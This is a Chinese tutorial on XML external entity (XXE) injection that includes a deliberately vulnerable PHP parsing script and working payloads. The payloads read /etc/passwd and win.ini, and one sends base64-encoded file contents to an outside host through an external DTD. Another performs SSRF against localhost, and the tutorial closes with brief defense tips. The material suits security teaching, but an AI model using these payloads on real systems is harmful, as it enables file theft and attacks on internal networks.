XML实体注入基础

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

简单了解XML以后,我们知道要在XML中使用特殊字符,需要使用实体字符,也可以将一些可能多次会用到的短语(比如公司名称)设置为实体,然后就可以在内容中使用。

如下就声明了一个名为 name 值为 bmjoker的实体。

<!DOCTYPE UserData [ <!ENTITY name "bmjoker" > ]>

要在XML中使用实体,使用&name;即可。

为了演示漏洞,我们写一个简单的PHP脚本,如下:

<?php
$xml = file_get_contents("php://input");
$data = simplexml_load_string($xml); foreach ($data as $key => $value){
echo "您的" . translate($key) . "是" . $value . "<br>";
} function translate($str){
switch ($str){
case "name":
return "名字";
case "wechat":
return "微信";
case "public_wechat":
return "微信公众号";
case "website":
return "网站";
}
}

假设这里我们希望用户输入的是:

<?xml version="1.0" encoding="utf-8" ?>
<user>
<name>bmjoker</name>
<wechat>joker</wechat>
<public_wechat>bmjoker</public_wechat>
<website>http://www.cnblogs.com/bmjoker/</website>
</user>

然后就可以返回如下页面:

XML实体注入漏洞的几种姿势

方法1:

<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>

方法2:

<!DOCTYPE a [ <!ENTITY % d SYSTEM "http://www.xxxx.com/attack.dtd"> %d; ]>

其中attack.dtd的内容为:

<!ENTITY b SYSTEM "file:///etc/passwd">

方法3:

<!DOCTYPE a SYSTEM "http://www.xxxxxx.com/attack.dtd">

其中attack.dtd内容同上不变。

利用xml实体注入我们可以读取本地任意文件。

读取任意文件的思路大概就是引入一个实体,实体内容为本地文件。

使用我们如上说的任意一种方法即可实现,我这里使用第一个(因为最方便)。

构造payload如下:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///c:/windows/win.ini"> ]>
<user>
<name>bmjoker</name>
<wechat>joker</wechat>
<public_wechat>bmjoker</public_wechat>
<website>&b;</website>
</user>

提交后查看返回信息:

可以看到成功读取了c盘下的win.ini文件。

如果我们实战中所在的场景下XML并没有回显,我们也可以使用另外一种方法读取文件。

<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "
http://www.hackersb.cn/attack.dtd
"> %dtd; %mydata; ]>

其中attack.dtd的内容为:

<!ENTITY % all
"<!ENTITY % mydata SYSTEM "http://www.hackersb.cn/?%file">"
>

发送payload以后就可以在http://www.hackersb.cn/的访问日志中看到请求且带上了/etc/passwd文件base64加密以后的内容:

我们既然可以使用file协议读取本地文件,当然也可以使用http协议访问来造成SSRF攻击,甚至可以使用gopher协议。

具体能使用的协议主要取决于PHP,PHP默认支持file、http、ftp、php、compress、data、glob、phar、gopher协议。

如果PHP支持except模块,我们还可以利用except模块来执行系统命令。

简单的SSRF攻击实例如下:

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "http://127.0.0.1:1234/"> ]>
<user>
<name>bmjoker</name>
<wechat>joker</wechat>
<public_wechat>bmjoker</public_wechat>
<website>&b;</website>
</user>

然后就可以监听到访问了。

SSRF攻击可以成功的话,我们自然可以进而攻击企业内网的系统。

其他更多的危害各位可以参考OWASP出的文档:

https://www.owasp.org/images/5/5d/XML_Exteral_Entity_Attack.pdf

防御XML实体注入漏洞

  • 禁用XML使用外部实体
  • 尽量不要让用户直接提交XML代码,如果一定要,请做好过滤。

2.XML实体注入漏洞攻与防的更多相关文章

  1. XML实体注入漏洞

    XML实体注入漏洞 测试代码1: 新建xmlget.php,复制下面代码 <?php $xml=$_GET['xml']; $data = simplexml_load_string($xml) ...

  2. 3. XML实体注入漏洞的利用与学习

    XML实体注入漏洞的利用与学习 前言 XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发 ...

  3. 企业安全01-Apache solr XML实体注入漏洞CVE-2017-12629

    Apache solr XML 实体注入漏洞CVE-2017-12629 一.简介 Apache Solr 是一个开源的搜索服务器.Solr 使用 Java 语言开发,主要基于 HTTP 和 Apac ...

  4. Fortify漏洞之XML External Entity Injection(XML实体注入)

    继续对Fortify的漏洞进行总结,本篇主要针对  XML External Entity Injection(XML实体注入) 的漏洞进行总结,如下: 1.1.产生原因: XML External ...

  5. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...

  6. Xml外部实体注入漏洞

    Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...

  7. 小试XML实体注入攻击

    基础知识 XML(Extensible Markup Language)被设计用来传输和存储数据.关于它的语法,本文不准备写太多,只简单介绍一下. XML基本知识 1 2 3 4 5 <?xml ...

  8. XXE--XML外部实体注入漏洞

    XXE漏洞原理 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部 ...

  9. XXE外部实体注入漏洞

    XML被设计为传输和存储数据,XML文档结构包括XML声明.DTD文档类型定义(可选).文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具.XXE漏洞全称XML E ...

随机推荐

  1. JSP嵌入ueditor、umeditor富文本编辑器

    一.下载: 1.什么是富文本编辑器?就是: 或者是这个: 其中第一个功能比较详尽,其主要用来编写文章,名字叫做udeitor. 第二个就相对精简,是第一个的MINI版,其主要用来编辑即时聊天或者发帖, ...

  2. Vue 5小时学习小教程

    Vue Vue Vue 起步 指令 v-bind v-if v-for v-on v-model v-bind和v-on缩写 搭建Vue开发环境 vue项目结构 Vue开始 数据绑定, 绑定属性 循环 ...

  3. bootstraptable的 showFooter属性

    如果想在表格最下面显示统计的信息可以使用这个属性  首先 先在表格加上这个属性 showFooter:true, 然后 在需要的列里面新增属性 footerFormatter  设置列的名称 然后在需 ...

  4. MapReduce修改输出的文件名

    MapReduce默认输出的文件名称格式如下:part-r-00000 自定义名称,比如editName,则输出的文件名称为:editName-r-0000,此方法没有彻底修改整个文件名,只修改了一部 ...

  5. C语言中的位操作(15)--确定log10(N)的整数部分

    本篇文章介绍一个整数的以10为底的对数的整数部分,即对于整数N,求log10(N)整数部分 方法一 : unsigned int v; //32位非0整数 int r; // r保存结果 int t; ...

  6. windows目录create、isExsit、remove

    RemoveDirectoryA( __in LPCSTR lpPathName ); PathFileExistsA(LPCSTR pszPath); CreateDirectoryA(strDir ...

  7. Struts2 - 运行流程分析

    1. 请求发送给 StrutsPrepareAndExecuteFilter 2. StrutsPrepareAndExecuteFilter 询问 ActionMapper: 该请求是否是一个 St ...

  8. VC用MCI播放mp3等音乐文件

    VC播放mp3等音乐文件,可以使用MCI.MCI ( Media Control Interface ) ,即媒体控制接口,向基于Windows操作系统的应用程序提供了高层次的控制媒体设备接口的能力. ...

  9. [转]django 日志logging的配置以及处理

    http://davidbj.blog.51cto.com/4159484/1433741 日志在程序开发中是少不了的,通过日志我们可以分析到错误在什么地方,有什么异常.在生产环境下有很大的用途.在J ...

  10. 移植memtester到android平台

    硬件搭建起来能进入系统,首要就是测试内存的稳定性,需要一款内存测试工具. 一般都是选择memtester这款linux软件,下载地址如下:http://pyropus.ca/software/memt ...